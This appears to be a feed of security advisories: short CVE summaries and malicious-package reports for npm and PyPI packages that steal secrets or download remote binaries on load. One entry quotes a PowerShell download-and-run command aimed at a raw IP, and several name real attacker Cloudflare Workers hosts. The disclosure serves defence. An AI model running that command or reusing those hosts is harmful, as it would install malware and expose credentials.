CVE-2026-20898: Improper Access Control

Improper access control in the firmware for some in Alias Checking Trusted Module for some IntelR XeonR processors may allow an escalation of privilege. Startup code and SMM adversary with a privileged user combined with a high complexity attack may enable escalation of privilege. This result may...

Malicious code in env-local (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7faefbcd9110b5e08b469d72d6541875ba4e2702c4490d1a24c37b313160f86b env-local presents itself as a dotenv-compatible.env loader README, keywords, and API mirror motdotla/dotenv, but lib/main.js unconditionally require...

EUVD-2026-54723

Ruby LSP is an implementation of the language server protocol for Ruby. Several workspace-level settings in the Ruby LSP VS Code extension prior to version 0.10.4 could override the path to the Ruby executable, the version manager executables, or the Bundler Gemfile used at startup. A malicious...

CVE-2026-48122

Ruby LSP is an implementation of the language server protocol for Ruby. Several workspace-level settings in the Ruby LSP VS Code extension prior to version 0.10.4 could override the path to the Ruby executable, the version manager executables, or the Bundler Gemfile used at startup. A malicious...

MAL-2026-13537 Malicious code in ded-pwa-test-pub-pkg (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1383d653a37b7e74a16850e3c1bf474ca310c0755505f3efd7f613ba0e553e08 On module load, index.js requires./compat.js which assembles remote hostnames from split string literals e.g...

Malicious code in bigops-telephony-mock (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ccbd56ae20f9cc922c12df25456654a649c9bbc963aae4fa95e027f97628c45b Requiring the package index.js -./setup triggers setup.js, which reconstructs destination hostnames from split string fragments e.g...

Malicious code in alphalend-abi (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 1650b24020e22aac89835e5b8a20b7de20f6479a2ce311d35dd56ab3dc4d6bb1 During import, the package exfiltrates sensitive files with SUI private keys to a private GitHub repository. This action is also triggered on every Python...

MAL-2026-13472 Malicious code in alphalend-abi (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 1650b24020e22aac89835e5b8a20b7de20f6479a2ce311d35dd56ab3dc4d6bb1 During import, the package exfiltrates sensitive files with SUI private keys to a private GitHub repository. This action is also triggered on every Python...

MAL-2026-13473 Malicious code in alphalend-layouts (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fddd94a1329de9e53295705e2344e18fc7c3620804cbb3cda3c81e7ba0e7727e The package harvests installer-side secrets and uploads them to an attacker-controlled GitHub repository, executing both when pip install...

Malicious code in native-hello-plugin (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 385ade063a7b92a8606feb7670b6a685361533f01a8e446798a210a4416a400a The shipped Windows-x64 prebuilt hello.node embeds a PowerShell command powershell -Command "iex iwr 'http://89.124.113.217:8000/update.ps1'..." and...

MAL-2026-13350 Malicious code in native-hello-plugin (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 385ade063a7b92a8606feb7670b6a685361533f01a8e446798a210a4416a400a The shipped Windows-x64 prebuilt hello.node embeds a PowerShell command powershell -Command "iex iwr 'http://89.124.113.217:8000/update.ps1'..." and...

MAL-2026-13252 Malicious code in bigops-storio (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 072daea48b555582ea01125b1a71fff5907e73bc890ec56f7b012ac38230b69e On require of bigops-storio, support.js selects a platform-specific endpoint and fetches an opaque binary over HTTPS from one of four string-split...

Malicious code in dolyame-boxy-atom-desktop-bnpl-container (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 736d2e03c1b2be3cb70201f38bc72e405649def46ddc82a515da4e68d254edcd On require, index.js loads bootstrap.js, which reconstructs remote hosts by array.join string concatenation oob-worker.cf100-416.workers.dev,...

Malicious code in dolyame-boxy-desktop-bnpl-footer (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5bdd69d6a0625e30b3c7764f12685db79bacb5c01e092772a38bbd7019addf54 Requiring dolyame-boxy-desktop-bnpl-footer causes platform.js to execute at load time: it reconstructs destination hostnames from split string arrays...

MAL-2026-13180 Malicious code in dolyame-ui-react-wrapper (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 67a3c87278303f582f0f5f046a5edcaf081cd71ed9c00906d36d3bbba5911a33 On require, index.js loads helpers.js which runs setup at module load. The setup routine reconstructs mirror hostnames at runtime by joining split...

MAL-2026-12920 Malicious code in bnpl-blocks-desktop-bnpl-faq (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c0028d1bea265a3e3fdcbbe1d43188f3aef4b4c332a995352c19ac5a090c42ac On require of the package, index.js loads support.js which reconstructs remote hostnames from string-array fragments joined with.join'' to defeat...

MAL-2026-12922 Malicious code in bnpl-blocks-desktop-bnpl-floating-button (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 475a5832e13fe3f55a82c47aace786100dd62ae9c5c5d31e7408ac59930cc917 On require of the package, index.js loads helpers.js which downloads a platform-specific binary from Cloudflare Workers hosts whose domain strings ar...

MAL-2026-12991 Malicious code in bnpl-blocks-mobile-bnpl-header (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3f511a9eac93e0ef06eeec5ab7ec22330cb092c4fda952ec540f4a9be3fc522f On require of the package, index.js loads bridge.js which fetches an OS-specific binary from hardcoded Cloudflare Workers hosts...

MAL-2026-12992 Malicious code in bnpl-blocks-mobile-bnpl-header-search (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0e53cfd9a87d6db963c307aa4836d43e68c82d9232b24ba8f0ee0592d5f9a370 On require of the package's main entry, shim.js constructs Cloudflare Workers hostnames oob-worker.cf102-baf.workers.dev, cf103-070, cf101-adf,...

MAL-2026-13028 Malicious code in boxy-adapter-tramvai (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d20d5167abc8703b7b09a0d9698e6d0fd060f4378dfa11ab469af3e6805cfc8e On library load, index.js requires./runtime.js, which selects a platform-specific staging path, fetches an opaque binary from obfuscated Cloudflare...